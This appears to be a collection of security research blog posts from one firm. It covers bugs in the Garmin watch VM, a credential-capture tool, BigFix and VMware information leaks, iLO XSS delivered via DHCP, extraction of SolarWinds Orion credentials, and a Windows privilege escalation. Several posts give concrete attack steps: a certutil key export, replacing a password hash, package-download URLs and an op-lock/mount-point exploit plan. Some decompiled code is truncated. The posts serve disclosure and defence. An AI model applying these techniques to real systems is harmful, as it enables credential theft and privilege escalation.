One instruction, NEWA, is used to create an runtime array of TVM values of a fixed size. The array is initialized with the null value. NEWA expects a number-like value on the top of the stack indicating the size of the array. Decompilation of the NEWA opcode implementation shows just the one check on the length value (ensuring it is not negative) before passing it to tvm_value_array_allocate for the array size calculation.
int __fastcall tvm_op_newa(struct tvm *ctx)
{
struct stack_value *sp;
int rv;
unsigned int length;
struct tvm_value value;
sp = ctx->stack_ptr;
length = 0;
value = *sp;
rv = tvm_value_to_int(ctx, &value, &length);
if ( rv ) {
if ( length stack_ptr);
if ( rv )
{
rv = tvm_value_decref(ctx, &value);
if ( !rv )
return tvm_value_incref(ctx, ctx->stack_ptr);
}
}
tvm_value_decref(ctx, &value);
return rv;
}
The tvm_value_array_allocate function will perform the unchecked array size calculation as shown below.
The allocation size calculation can overflow the 32-bit integer and can be triggered by creating an array of size 0x33333333. This value is still positive for a 32-bit integer (passing the check in the tvm_op_newa function). When the allocation_size is calculated, the result will overflow the 32-bit unsigned int:
The original length value (0x33333333) is stored in the resulting tvm_value_array_data and this is the value used to check bounds during the array read and write operations (performed by the AGETV and APUTV instructions).
This can be directly triggered through Monkey C and does not require direct bytecode manipulation to create a proof-of-concept. There are a number of additional constraints to turn this into a reliable read/write anything anywhere primitive but it provides are strong exploit building block.
LGETV and LPUTV
The instructions LGETV and LPUTV are used to read and write to a local variable. The virtual machine maintains a frame pointer used to point at the start of the frame on the stack. The entry of a method will reserve some space on the stack to store local variables. The LGETV and LPUTV instructions expect a single byte operand specifying the local variable index for that instruction. The implementation does not check that this index is within the previously allocated local variable space as seen below.
The unchecked offset from the frame_ptr of the execution context provides a path to both memory access past the end of the TVM context allocation (the stack is allocated at the end of this structure) and a primitive to construct a use-after-free taking advantage of the way values outside of the valid stack are treated.
NEWS
The NEWS instruction creates a runtime string object from a string definition structure in the data section of the PRG. Upon execution, this instruction pushes a new tvm_value of type STRING onto the top of the stack. The value of the string is loaded from an address provided as a 32-bit operand. The data at the provided address is expected to contain a string definition of the form:
The string data buffer is allocated to hold length bytes and then a function similar to strcpy is used to populate it. The strcpy-like function will only stop when a NUL byte is encountered possibly overflowing the buffer beyond the size of the initial allocation.
int __fastcall tvm_op_news(struct tvm *ctx)
{
int tvm_addr_for_string; // r0
struct stack_value *v3; // r2
int result; // r0
tvm_addr_for_string = tvm_fetch_int((int *)&ctx->pc_ptr);
v3 = ctx->stack_ptr;
ctx->stack_ptr = v3 + 1;
v3[1].type = NULL;
ctx->stack_ptr->value = 0;
result = tvm_value_load_string(ctx, tvm_addr_for_string, (int)ctx->stack_ptr);
if ( !result )
result = tvm_value_incref(ctx, (struct tvm_value *)ctx->stack_ptr);
return result;
}
int __fastcall tvm_value_load_string(struct tvm *ctx, int string_def_addr, int string_value_out)
{
int rv; // r0
unsigned __int8 *string_def; // [sp+4h] [bp-14h]
rv = tvm_tvmaddr_to_ptr(ctx, string_def_addr, &string_def);
if ( !rv )
rv = tvm_string_def_to_value(ctx, string_def, (unsigned __int8 *)string_value_out, 1);
return rv;
}
int __fastcall tvm_string_def_to_value(_BYTE *a1, unsigned __int8 *a2, unsigned __int8 *a3, int a4)
{
_BYTE *v4; // r6
unsigned __int8 *v5; // r4
struct tvm_value *v6; // r5
int result; // r0
_BYTE *v8; // r4
int v9; // r6
__int16 v10; // r0
int v11; // r3
int v12; // [sp+4h] [bp-14h]
v4 = a1;
v5 = a2;
v6 = (struct tvm_value *)a3;
if ( a4 )
{
if ( *a2 != 1 )
return 5;
v5 = a2 + 1;
}
result = tvm_value_string_alloc_by_size((struct tvm *)a1, v5[1] | (*v5 type == STRING )
return sub_10DE28(v6);
return 5;
}
}
return result;
}
The tvm_string_def_to_value function allocates the string using the size found in memory and then proceeds to strcpy the provided data into the freshly allocated buffer.
DUP
The DUP instruction allows the running program to duplicate a value from any slot on the stack and push the copy on the top of the stack.
The implementation reads the next byte from the instruction stream, uses this byte as the negative offset to read from the top of the stack, and then copies that value to the next stack entry. Finally, the function increases the reference count in the tvm_value. The lack of a bounds check allows referencing memory outside of the stack for the tvm_value copy resulting in multiple primitives including use-after-free.
What next?
Well, those are a handful of bugs found via static code analysis. They were also found by accident without a dedicated plan of attack or comprehensive audit of the TVM attack surface. While the TVM appears clean in design and implementation, these bugs suggest the CIQ applications were likely not considered attack surface in the past. Finding more of the lower hanging bugs should be straightforward using a dynamic fuzzing approach. Unfortunately, doing so on an off-the-shelf device is slow and lacks reliability. An interesting next step would be running the firmware, either stock or modified, on a devkit or within a QEMU emulated environment.
We've spent some time working towards a functioning QEMU patch that emulates the MAX32630 and some of the relevant peripherals. We're not yet to the point where the watch comes all the way up but have learned more and more about the firmware in the process. A more direct approach would set up a runtime state that allowed just the PRG loader and TVM interpreter to run. This seems possible but the Garmin RTOS provides a number of services that would need to be stubbed out.
Another interesting task would be to finish a full code execution exploit for these bugs and to pivot towards exploitation of one of the attached microcontrollers (the Bluetooth controller, for instance).
Edit (11-18-2020): Clarified firmware current during analysis and added a link to the updated (patched) firmware.
This blog post was written by Dion Blazakis, technical peer review by Zach Lanier, and edited for the web by Lacey Kasten at Atredis Partners.
Far too many products will blindly spray credentials across the network as part of discovery, monitoring, or security scanning tasks. Identifying these products and capturing these credentials requires patiently waiting for the next scan cycle and implementing whichever protocol the product tries to authenticate with. If this is done during a security assessment, the capture process may need to run on a compromised internal server, introducing additional challenges.
During the last Atredis offsite, Chris Bellows suggested that we build better tooling for this, focusing on the protocols that other tools miss and on delivering portable binaries for use on compromised servers. This led to the creation of flamingo, an open-source utility that spawns a bunch of network daemons, waits for inbound credentials, and reports them through a variety of means.
Flamingo is written in Go, includes pre-compiled binaries, and has already received one pull request from outside of Atredis (thanks Alex!). Flamingo can capture inbound credentials for SSH, HTTP, LDAP, FTP, and SNMP, as well as log inbound DNS (and mDNS) queries. On the output side, Flamingo can log to a file, standard output, deliver to a webhook, write to a remote syslog server, or all of those at once. As a Go binary, everything is baked into a single executable, and it cross-compiles to almost every supported Go platform and architecture. Go is awesome for security tool development and was a great fit for this problem.
Flamingo is not Responder. Responder is an amazing tool that listens on the network, responds to name requests, and captures credentials. While the main goal of Responder is to coerce systems on the same broadcast domain into sending it Active Directory credentials, Flamingo takes a more passive approach, and does not actively solicit connections through LLMNR or NetBIOS responses. For most scenarios where you want to capture Active Directory credentials, Responder is still your tool of choice.
In addition to portability, configurable outputs, and different protocol support, Flamingo has other unique capabilities worth mentioning.
Flamingo's SSH capture stores all the normal things for password-based authentication, but also reports the entire SSH public key for pubkey-based authentication. This public key can be used to half-auth-scan the local network and identify servers where that credential is accepted. The public key can also be correlated against public keystores, such as Github.com users, to identify the user responsible for the pubkey authentication attempt.
Flamingo supports Nmap-style port ranges for all listeners. Want to spawn a few different SSH servers? Go for it with --ssh-ports 22,2222,4022,6022,8022. How about 100? Sure, with --ssh-ports 1-100. This works across all supported protocols and will try to bind to as many ports as it can, ignoring conflicts, unless the --dont-ignore flag is set. Want to run a mix of plain HTTP and HTTPS services? Use the –-http-ports and –-https-ports parameters to separately define lists of plaintext and encrypted web servers as needed. Only care about LDAP over TLS today? Set –-protocols ldap, --ldap-ports to an empty string, and –-ldaps-ports to your desired list.
Flamingo generates new SSH and TLS keys on startup, by default, and shares these keys across all services. This behavior can be changed by specifying the the --ssh-host-key, --tls-cert, and –-tls-key options, but its nice to not have to worry about it too. The --tls-org option can be used to set the presented organization name in the TLS certificate and the --tls-name option can be used to set the advertised server name in responses.
Flamingo can also support blue teams by feeding authentication attempts into a central reporting system. Drive alerts from your SIEM of choice, either through log parsing, syslog destinations, or plain old webhooks. Flamingo is no Canary, but can be helpful in a pinch, and is certainly a lot more portable than most honeypot listeners.
In summary, we think Flamingo is neat, and would love your feedback and pull requests. If you need a local LLMNR/NetBIOS/mDNS poisoner, Responder is still your tool of choice. If you need a commercial-quality honeypot, Canary is going to be a much better time investment. If you are looking for a tool to capture credentials sprayed by various IT and security scanners, Flamingo might be useful, especially if you need portable binaries and flexible real-time output options. We plan continue building out Flamingo's protocol support and implementing additional output types going forward. If you have any suggestions or run across any bugs, please file an issue in the Github tracker.
Your pentesters should be asking for source code. And you should probably be sharing it.
One of my favorite things about working at Atredis Partners is that part of our research-centric model includes throwing folks at all kinds of targets that they've never seen before. First chairs on projects are always going to be in their comfort zone, but for second chairs, we like to mix things up a bit, because it helps folks grow and we often find new ways of looking at things that we've collectively looked at the same way for years.
This not only means that folks from traditional pentesting backgrounds get to grow into doing things like hardware or mobile hacking, it also means that I get to watch people with backgrounds in say, reverse engineering or exploit development take a look at a network perimeter or a web app, which yields some great new perspectives.
Last week, I was on an internal kickoff call for what was ostensibly an assessment of an API on a public webserver. There were some other targets that were more complex than that, but for this part of the call, we were discussing testing the API. Two people on the team were coming at the target from a more bughunting-centric background, and were asking about how we'd be testing.
"So, are they gonna give us source code?"
"Probably not, they seemed pretty cagey about it. I can ask again, though..."
"That's stupid."
"I mean, I guess it kinda is. A lot of times we'll just get say, API docs, and some example code, maybe cobble together an API client to throw traffic at it, tool around with requests in Burp, that sort of thing."
"How about shell access to the server while you're testing so you can debug?"
"Uh, I dunno, like I said, these folks were pretty cagey about sharing much beyond access to the API itself."
"Jeez. Well, I guess they don't want us to find anything."
I was a bit dumbstruck at first, because a lot of the time, that's all you'll get for a web app or web services assessment, a couple of logins, maybe a walkthrough of the app, and then, well, yeah, actually... Good luck finding anything. It was a useful reminder how wrongheaded it is to be on the hook for finding all the bugs in something without source code.
We do ask for source, and shell access, for pretty much any software assessment we do. But we often get told no. Even more often than that, the client tells us "nobody's ever asked me that before."
And that is dumb.
Runtime testing alone is absolutely not the right way to find the most bugs possible, in the least amount of time, in pretty much any target. It's a way to find an opportunistic subset of the bugs that are floating at or very near the surface.
How likely is runtime testing to find more complex bugs several layers deep in the app, or that are only exploitable in a very narrow window in-session? What about finding the ten other places you're vulnerable to SSRF, all of which require a more complex trigger than the single case your tester found at runtime? How likely are your devs to fix every vector, when they only know about one? And how likely is it that a dev will find a way down the road to expose the other ten?
Source allows you to identify all kinds of systemic problems in an application that you just don't see when you're flinging yourself willy-nilly at a web interface or web service, or any software target, really. It allows you to confirm runtime findings and weed out false positives, and follow the bugs you found at runtime down into the bowels of the broken function or ugly third party library that spawned them.
So why don't more folks do source-driven or source-assisted pentests?
Well, for one thing, a lot of pentesters out there can't read the source in the first place, so it wouldn't help them much. You need more seasoned people, typically with some dev experience, to get any value out of sharing your source code. The last thing you want is a mountain of crappy informational bugs that somebody lifted from whole cloth out of a source code scanner report, trust me.
And yes, of course, there are the IP concerns. I get that. Folks will tell us their source code contains trade secrets, it's sensitive, it's HIPAA protected, it's export controlled, it's buried underground and written on stone tablets, etc, etc. I don't see IP problems as particularly insurmountable. They can be odious, sure; we've flown overseas to look at code that couldn't leave a building, we've had devs scroll through source over Skype, sat in a locked room auditing source on client-provided systems with cameras on us, you name it. There are ways to give access to source in a controlled fashion, if source code leaving the building is a concern.
A third reason, related to the above, and I think the biggest one, is that it's more work for the testing team and for the client. The testing team has to add source review to their workflow, map the bugs they found at runtime back to source, and chase down bugs found in source to see if they're exploitable in the wild. On the client end, the client has to go wrangle devs for repo access (which the internal security team often doesn't even have themselves) and often has to figure out either how to get the testing team inside the corporate LAN, or how to schlep a 120MB tarball over to the tester.
It's far easier to just re-enable the "pentester1" and "pentester2" accounts from last year's test and get back to reading /r/agedlikemilk (which is pretty funny, to be fair). Besides, you're probably just going to rotate firms next year, so what's the point?
Seriously folks, if you have an in-house developed app, especially if it's part of your core business, you're wasting time on "black box" testing. Give your testing team full source access and full transparency, and they'll find bugs that have been missed by other teams doing runtime testing for years. I know this, because we do, every time a client takes us up on the request.
While I'm at it, let's dispense with the old saw that black box testing is so you can see "how long a real hacker would take to break this"... "Real" hackers get to take as long as they need to until they land a shell, plus they get to wear sunglasses, a hoodie and a ski mask while they do it. I have yet to have a client offer our team the luxury of unlimited time, and ski masks tend to make for awkward video calls with the CSO.
External security assessments are one of my favorite parts of working at Atredis. I love the entire process, from sifting through mountains of data to identify the customer’s scope to digging deep into commercial products that we find deployed on the perimeter, it is challenging work and a lot of fun.
A recent service of interest was an externally-exposed IBM BigFix Relay Server. This service provides a HTTP-over-TLS endpoint on TCP port 52311 that enables system administrators to deploy patches to devices outside their firewall, without forcing the use of a VPN. This is great when an update needs to be deployed that involves the VPN itself, but can be problematic from a security perspective.
After identifying an external BigFix Relay Server, Chris Bellows, Ryan Hanson, and I started to dig into the communications protocol between the relay and the client-side agent. We found that unauthenticated agents could enumerate and download almost all deployed packages, updates, and scripts hosted in the BigFix environment. In addition to data access, we also found a number of ways to gather information about the remote environment through the relay service.
The TL;DR of our advisory is that if BigFix is used with an external relay, Relay Authentication should be enabled. Not doing so exposes a ridiculous amount of information to unauthenticated external attackers, sometimes leading to a full remote compromise. Also note than an attacker who has access to the internal network or to an externally connected system with an authenticated agent can still access the BigFix data, even with Relay Authentication enabled. The best path to preventing a compromise through BigFix is to not include any sensitive content in uploaded packages. IBM also addresses this issue on the PSIRT blog.
BigFix uses something called a “masthead” to publish information about a given BigFix installation. The masthead is available on both normal and relay versions of BigFix at the URL https://[relay]:52311/masthead/masthead.axfm.
The masthead includes information such as the server IP, server name, port numbers, digital signatures, and license information, including the email address of the operator who licensed the product. This information can be immediately useful on its own, but its just the tip of the iceberg.
BigFix uses a concept called Sites to organize assets. A full index of configured Sites can be obtained through the URL https://[relay]:52311/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands. This site listing provides deep visibility in the organization’s internal structure.
Going further, an attacker can obtain a list of package names and versions by requesting the URL https://[relay]:52311/cgi-bin/bfenterprise/BESMirrorRequest.exe. This tells an attacker exactly what versions of what software are installed across the organization. The package list is split into specific Actions, which each have the following format:
In order to download package contents from a relay, the package must first be refreshed in the mirror cache. This can be accomplished by requesting URL ID "0" of the Action ID in the URL https://[relay]/bfmirror/downloads/[action]/0
Once the data has been cached, individual sub-URLs may be downloaded by ID https://[relay]/bfmirror/downloads/[action]/1
Automating the process above is straightforward and allows an attacker to obtain copies of the published packages. As hinted above, sometimes these packages include sensitive data, and sometimes this data can be used to directly compromise the organization.
In order to determine how common this issue was, we conducted an internet-wide survey of the IPv4 space, looking for the BigFix masthead file on externally exposed relay servers. Of the ~3.7 billion addressable IPv4 addresses, we found almost 1,500 BigFix Relay servers with Relay Authentication disabled. This list included numerous government organizations, large multinational corporations, health care providers, universities, insurers, major retailers, and financial service providers, along with a healthy number of technology firms. For each identified relay, we queried the masthead and obtained a package list, but did not download any package data.
Shortly after conducting the survey, we reached out to the BigFix product team to start the vulnerability coordination process. The BigFix team has been great to work with; quick to respond and interested in the best outcome for their customers. Over the last three months, the BigFix team has improved their documentation and notified affected customers. As of March 18th, that process has been completed.
In total, our survey found 1,458 exposed BigFix Relay Servers, with versions 9.5.10.79, 9.5.9.62, and 9.5.8.38 being the most common. Looking at just “uploaded” packages (custom things uploaded into BigFix by operators), we identified over 25,000 unique files.
Quite a few of these uploaded files appear to contain sensitive data based on the filename.
Encryption and authentication keys
bitlockerADkey.ps1
SSH_KEYtar.tmp
AES.key
_BC4Key.txt
Scripts to set the administrator password
secChangeadminpsw.bat
localadmin_pw.bat
AddWorkstationAdmins.bat
AdminPassword.exe
change_admin_password.exe.tmp
SetConfigPasswordRemote.vbs
In summary, anyone using BigFix with external Relay Servers should enable Relay Authentication as soon as possible. All BigFix users should review their deployed packages and verify that no sensitive information is exposed, including encryption keys and scripts that set hardcoded passwords. Finally, for folks conducting security assessments, keep an eye out for port 52311 on both internet-facing and internal networks.
The VMWare Horizon Connection Server is often used as an internet-facing gateway to an organization’s virtual desktop environment (VDI). Until recently, most of these installations exposed the Connection Server’s internal name, the gateway’s internal IP address, and the Active Directory domain to unauthenticated attackers.
Information leaks like these are not a huge risk on their own, but combined with more significant vulnerabilities they can make a remote compromise easier. I love these kinds of bugs because they provide a view through the corporate firewall into the internal infrastructure, providing insight into naming and addressing conventions.
The Atredis advisory and the VMWare advisory are now online and contain additional details about the the issues and available fixes.
Testing for these issues is straight-forward; the following request to the /portal/info.jsp endpoint will return one or more internal IP addresses along with a version number:
A POST request to the /broker/xml endpoint returns the broker-service-principal element in the XML response, which contains the service account name (machine account typically) the domain name:
We would like to thank the VMware Security Response Center for their pleasant handling of this vulnerability report and their excellent communication. VMWare noted that this issue was also independently reported by Cory Mathews of Critical Start.
At Atredis Partners, we often use dedicated lab networks for testing devices. This helps isolate these devices from "production" networks, and affords us the opportunity to monitor all network communications to/from the device as well as conduct interesting attacks. In this post, we'll briefly discuss a somewhat unexpected find shortly after plugging in an enterprise-grade server during an engagement a few months ago.
I'd like to tell you this was some unique, esoteric device with some incredibly amazing, difficult-to-find, l33t bug ... but I'd be lying. Instead, this device was an HPE ProLiant DL380 Gen10 server, which is fairly common in many enterprise environments; and the bug was ... Cross-Site Scripting.
Now, before the XSS is lame chest-beating begins, bear in mind this bug was found not in a web application running on the host operating system, but rather in the Integrated Lights-Out (or "iLO") side of things. For those unfamiliar, HPE iLO allows system and network administrators the ability to manage and monitor servers through a separate, dedicated network interface, API, and UI. Typical iLO capabilities include, but are not limited to, checking system hardware health, managing device power options (including turning the device on/off), mounting drive images, and even a remote console (although some "enhanced" versions of iLO further restrict access to this and other features).
Once the server was hooked up to the lab network and ready to go, we began poking and prodding all over the place, including the iLO web UI. After logging in and browsing around, familiarizing ourselves with the interface, identifying input points, etc., my colleague messaged me, asking "Did you do this?":
Admittedly, I was a bit amused by this whole thing because 1) it was a bit of an unexpected discovery and 2) the lab network is configured to "automagically" help test for this and other, similar issues, so it's become almost hands-off or even second nature.
I quickly realized this was the result of how this lab network's DHCP server was configured -- providing different values for DHCP options so as to identify (and even trigger) XSS, command injection and the like in vulnerable clients.
Digging in a wee bit further, we realized it was the domain name (DHCP option 15) that was being rendered unsanitized in the iLO web UI.
We adjusted the DHCP server configuration to do a bit more than just alert(1), and forced the iLO to pull a new lease, resulting in:
IMPACT AND OTHER CONSIDERATIONS
While DHCP-provided "domain name" could contain a simple HTML <script> tag with a JavaScript alert box in the authenticated user's browser, an attacker could also specify an external JavaScript resource, providing greater opportunities and capabilities.
That said, there are some things to think about in terms of the real world impact here.
For starters, security best practices, including those straight from HPE, dictate that out-of-band management networks should be connected to a "dedicated management network that is isolated from the production network", though this may not always be implemented correctly, if at all. This means that an attacker would need to be network-adjacent to the target(s), either by gaining a foothold on a device connected to that network and/or by way of a rogue insider, in order to spin up a specially configured DHCP server.
Second, at least for this specific issue, the target iLO(s) would need to be configured to use DHCP, although this is the default.
Third, although slightly less important, egress filtering rules would potentially need to allow devices in the management network to contact external hosts, i.e. to pull external JavaScript and/or exfiltrate data. I say "slightly less important" because it isn't out of the realm of possibility to host JavaScript resources on/transmit captured data within the management network itself, assuming the attacker already has a foothold there.
CONCLUSION
Belated TL;DR: don't underestimate the power of having a lab environment configured for identifying these kinds of injection issues from the get-go, as you never know what you may find, even in what may seem to be an otherwise robust and "secure" platform.
For those who want to perform this kind of testing themselves, there are myriad ways to do so, such as simply configuring your DHCP server-of-choice to dole out "malicious" values in DHCP options, or using freely available tools (or writing your own) to handle the task. The latter could be anything from a Metasploit module to a modified version of pydhcp.
We run into a wide variety of network management solutions during our security assessments and penetration tests. The SolarWinds Orion product suite in particular is popular with network administrators and IT teams of all sizes. The Orion platform includes modules such as the Network Engineers Toolkit, Web Performance Monitor, and Network Configuration Management, among many others. We found some fun ways to abuse this product during security tests and wanted to share our notes with the community.
The Orion product uses a Microsoft SQL Server backend to store information about user accounts, network devices, and the credentials used to manage these devices. An Orion system used to manage a large network will typically use a standalone SQL Server installation, while smaller networks will use a local SQL Server Express instance. Since the Orion server houses credentials and can often be used to push and pull network device configurations, it can be a gold mine for expanding access during a penetration test.
Gaining access to the web console without a login
The Orion product is typically managed from the web console; this can use a local account database or an existing Active Directory service. An attacker can then monitor network traffic between the Orion server and a separate SQL Server instance, extracting hashed user passwords and encrypted network device credentials. An attacker that can man-in-the-middle the SQL Server communication can use this to login to the Orion web console with an arbitrary password by replacing the password hash when the web server queries the Accounts table during login. If direct access to the SQL Server database for Orion is possible, a modification to the Accounts table will allow for easy access to the console. If the attacker has local administrator access to the Orion server, they can modify the Accounts table using the Orion Database Manager GUI application. Regardless of how an attacker gains access to the Accounts table, the easiest approach to gaining access is to backup the existing hash, then replace the PasswordHash column for an enabled administrative user. An empty PasswordHash for the "admin" user account corresponds to the following string:"
Note that this password hash is only valid for the "admin" user (see notes below on salting). The screenshot below shows the SQL query to reset the "admin" account to the empty password, using the SolarWinds Database Manager GUI (via local administrator access over Remote Desktop).
Once the PasswordHash has been replaced (or temporarily intercepted), the attacker can login with an empty password for the associated user account.
Orion password hashing is a variant of a salted SHA512 hash. The hash is computed by first generating a salt that consists of the lowercase username. If the salt is less than 8 bytes long, it is appended with bytes from the string "1244352345234" until it is 8 bytes. For example, the salt for username "ADMIN" would become "admin124", while the salt for "Bo" would become "bo124435". Once the salt has been calculated, a RFC2898 PBKFD2 is generated using the default iteration count of 1000 and the SHA1 hash algorithm. Finally, a SHA512 hash of the PBKDF2 output is taken and encoded using Base64. It doesn't appear that any existing tools support cracking passwords in this format, but Hashcat comes close with PBKDF2-HMAC-SHA1(sha1:1000) support, and is only missing the final call to SHA512(). This hashing function has been implemented in the Ruby script hash-password.rb.
Harvesting stored network credentials from the database
SolarWinds Orion stores network credentials within the SQL Server database tables. Some of these credentials, such as SNMP v1/v2c community strings, are stored in clear-text, while most are encrypted using a RSA key located in the Orion server local certificate store. Network credentials can be harvested from the database through passive monitoring or active exports, in the latter case, either using standard SQL Server management tools, or if local administrator access has been obtained on the Orion server, using the Database Manager GUI application. A partial list of tables that should be exported to collect credentials includes:
Network credentials stored within the SQL Server database are encrypted with a RSA key located in the local machine certificate store of the Orion server. For most SQL tables, these credentials are prefixed with the string "SWEN__", while the SSH sessions table uses a raw form without the prefix. To decrypt these credentials, the RSA key for the SolarWinds-Orion certificate must be exported from the system. This typically requires local administrator access and an elevated command shell on the Orion server. To export the key, use certutil:
C:\Temp> certutil -exportPFX -p Atredis my SolarWinds-Orion orion.pfx
If an error is returned stating “Keyset does not exist”, this typically means that the command was not run as an administrative user with elevated privileges. If certutils does not work for some reason, or if the cert has been marked unexportable, you can still export the private key using Jailbreak or Mimikatz.
Next, the PFX needs to be converted to a standard OpenSSL PEM file. The openssl command handles this with the following syntax:
Using the clear-text orion.pem file, the credentials in the exported database tables can be decrypted using the ruby scripts; decrypt-swen-credentials.rb and decrypt-ssh-sessions.rb. These scripts will read the RSA key from “orion.pem” and decrypt credentials found in all files passed as arguments, saving the results to files with the “.dec” extension. the Database Manager GUI includes a handy “Export to CSV” button that simplifies this process. The decrypt-ssh-sessions.rb script looks for the password fields in the SSHSessions table, which does not use the “SWEN” prefix. The following example demonstrates using the decrypt-swen-credentials.rb script against an export of the NCM_GlobalSettings table.
The SolarWinds Orion platform is a lot of fun for penetration testers, as it can act as a credential store, configuration management system, and remote command execution platform, depending on what modules are configured. As an added bonus, highly segmented networks often whitelist their network monitoring servers, making the SolarWinds server an attractive target for lateral movement. Although the password hashing and credential encryption is relatively sane from a security standpoint, they can be abused with the right tools. I hope the information above is useful and convinces you to pay special attention to network monitoring applications on your next penetration test.
I recently had a client ask me if it makes sense to rotate security testing firms. "It's something I've always done, but I'm not sure if it really works or not."
I said in my experience, it doesn't really work very well at all.
I run into it less now than I did ten years ago, but there are still quite a few folks out there using a different firm for each annual pentest, or who never use the same firm on the same target more than once and keep a rotating roster of firms in the hopper.
What blows my mind about the whole switch-vendors-every-year mentality is that it's built around the presumption that most pentesters are terrible (plausible, in some cases) and are only going to try hard when you're a new client. There's also a perception that there's no value in building an ongoing relationship with a firm, since everyone does the same things, in the same order, to the same target every time.
On any of our engagements, the first time we look at a given target, we have to ramp up and learn everything we can about it: what mistakes your developers are more prone to make, what misconfigurations you made in your EDR deployment, how to keep from knocking the staging environment offline, which sysadmin knows how to bring it back up. The list goes on and on.
The early phases of a new assessment for a new client are a lot like the first few days on the job for a new employee. You won't really see productive results until they've learned the ropes a bit and have a handle on how things work (and don't work) in your environment.
You need to keep working with a pentest firm once they've ramped up on your environment for the same reason you need to keep employees: they've learned valuable things that someone new would have to relearn, and that's a poor use of time and resources if you have a seasoned person on hand to do the job.
When they wrap that first gig, a good pentester is already thinking about different and better ways to go after the target next time.
On the other side of things, if you're rotating firms over and over, and you don't see any value in follow-on projects, maybe you're not investing in the relationship yourself. Heck, maybe you don't even want to, maybe you just want another annual rotated-firm rubber-stamp assessment to keep the auditors happy. Maybe you're even cynical enough to admit that if you let the same firm hit the same targets two years in a row somebody would finally figure out how to get past the WAF and then you'd have a lot more work to do.
I've had people proudly say to me, "we have new people hit this every year and they find the same bugs". What they don't seem to understand is that it also follows that if you use the same people again, they'll most likely find new bugs. Or, if you really need "fresh eyes", use different resources from a firm you already trust.
To me, the goal of pentesting is to push things forward, or it should be: to iteratively test and improve a little each time, both as attackers and defenders. The best way to do that is to get attackers and defenders collaborating. Building a longstanding working relationship is a great way to do that.
Process Monitor has become a favorite tool of mine for both research and development. During development of offensive security tools, I frequently use it to monitor how the tools interact with Windows and how they might be detected. Earlier this year I noticed some interesting behavior while I was debugging some code in Visual Studio and monitoring with Procmon. Normally I setup exclusion filters for Visual Studio processes to reduce the noise, but prior to setting up the filters I notice a SYSTEM process writing to a user owned directory:
StandardCollector.Service.exe writing to user Temp folder
When a privileged service writes to a user owned resource, it opens up the possibility of symlink attack vector, as previously shown in the Cylance privilege escalation bug I found. With the goal of identifying how I can directly influence the service's behavior, I began my research into the Standard Collector Service by reviewing the service's loaded libraries:
Visual Studio DLLs loaded by StandardCollector.Service.exe
The library paths indicated the Standard Collector Service was a part of Visual Studio's diagnostics tools. After reviewing the libraries and executables in the related folders, I identified several of the binaries were written in .NET, including a standalone CLI tool named VSDiagnostics.exe, here is the console output:
Help output from VSDiagnostics CLI tool
Loading VSDiagnostics into dnSpy revealed a lot about the tool as well as how it interacts with the Standard Collector Service. First, an instance of IStandardCollectorService is acquired and a session configuration is used to create an ICollectionSession:
Initial steps for configuring diagnostics collection session
Next, agents are added to the ICollectionSession with a CLSID and DLL name, which also stood out as an interesting user controlled behavior. It also made me remember previous research that exploited this exact behavior DLL loading behavior. At this point, it looked like the Visual Studio Standard Collector Service was very similar or the same as the Diagnostics Hub Standard Collector Service included with Windows 10. I began investigating this assumption by using OleViewDotNet to query the services for their supported interfaces:
Windows Diagnostics Hub Standard Collector Service in OleViewDotNet
Viewing the proxy definition of the IStandardCollectorService revealed other familiar interfaces, specifically the ICollectionSession interface seen in the VSDiagnostics source:
ICollectionSession interface definition in OleViewDotNet
Taking note of the Interface ID ("IID"), I returned to the .NET interop library to compare the IIDs and found that they were different:
Visual Studio ICollectionSession definition with different IID
Looking deeper into the .NET code, I found that these Visual Studio specific interfaces are loaded through the proxy DLLs:
VSDiagnostics.exe function to Load Proxy Stub DLLs
A quick review of the ManualRegisterInterfaces function in the DiagnosticsHub.StandardCollector.Proxy.dll showed a simple loop that iterates over an array of IIDs. Included in the array of IIDs is one belonging to the ICollectionSession:
ManualRegisterInterfaces function of proxy stub DLL
Visual Studio ICollectionSession IID in array of IIDs to register
After I had a better understanding of the Visual Studio Collector service, I wanted to see if I could reuse the same .NET interop code to control the Windows Collector service. In order to interact with the correct service, I had to replace the Visual Studio CLSIDs and IIDs with the correct Windows Collector service CLSIDs and IIDs. Next, I used the modified code to build a client that simply created and started a diagnostics session with the collector service:
Code snippet of client used to interact with Collector service
Starting Procmon and running the client resulted in several files and folders being created in the specified C:\Temp scratch directory. Analyzing these events in Procmon showed that the initial directory creation was performed with client impersonation:
Session folder created in scratch directory with impersonation
Although the initial directory was created while impersonating the client, the subsequent files and folders were created without impersonation:
Folder created without impersonation
After taking a deeper look at the other file operations, there were several that stood out. The image below is an annotated break down of the various file operations performed by the Standard Collector Service:
Various file operations performed by Standard Collector Service
The most interesting behavior is the file copy operation that occurs during the diagnostics report creation. The image below shows the corresponding call stack and events of this behavior:
CopyFile operation performed by the Standard Collector Service
Now that I've identified user influenced behaviors, I construct a possible arbitrary file creation exploit plan:
Obtain op-lock on merged ETL file ({GUID}.1.m.etl) as soon as service calls CloseFile
Find and convert report sub-folder as mount point to C:\Windows\System32
Replace contents of {GUID}.1.m.etl with malicious DLL
Release op-lock to allow ETL file to be copied through the mount point
Start new collection session with copied ETL as agent DLL, triggering elevated code execution
To write the exploit, I extended the client from earlier by leveraging James Forshaw's NtApiDotNet C# library to programmatically create the op-lock and mount point. The images below shows code snippet used to acquire the op-lock and the corresponding Procmon output illustrating the loop and op-lock acquisition:
Code snippet used to acquire op-lock on .etl file
Winning race condition with op-lock
Acquiring an op-lock on the file essentially stops the CopyFile race, allows the contents to be overwritten, and provides control of when the CopyFile occurs. Next, the exploit looks for the Report folder and scans it for the randomly named sub directory that needs to be converted to a mount point. Once the mount point is successfully created, the contents of the .etl are replaced with a malicious DLL. Finally, the .etl file is closed and the op-lock is released, allowing the CopyFile operation to continue. The code snippet and Procmon output for this step is shown in the images below:
Code snippet that creates mount point, overwrites .etl file, and releases op-lock
Procmon output for arbitrary file write through mount point folder
There are several techniques for escalating privileges through an arbitrary file write, but for this exploit, I chose to use the Collector service's agent DLL loading capability to keep it isolated to a single service. You'll notice in the image above, I did not use the mount point + symlink trick to rename the file to a .dll because DLLs can be loaded with any extension. For the purpose of this exploit the DLL simply needed to be in the System32 folder for the Collector service to load it. The image below demonstrates successful execution of the exploit and the corresponding Procmon output:
SystemCollector.exe exploit PoC output
Procmon output of successful exploitation
I know that the above screenshots show the exploit was run as the user "Admin", so here is a GIF showing it being ran as "bob", a low-privileged user account:
Running exploit as low-privileged user
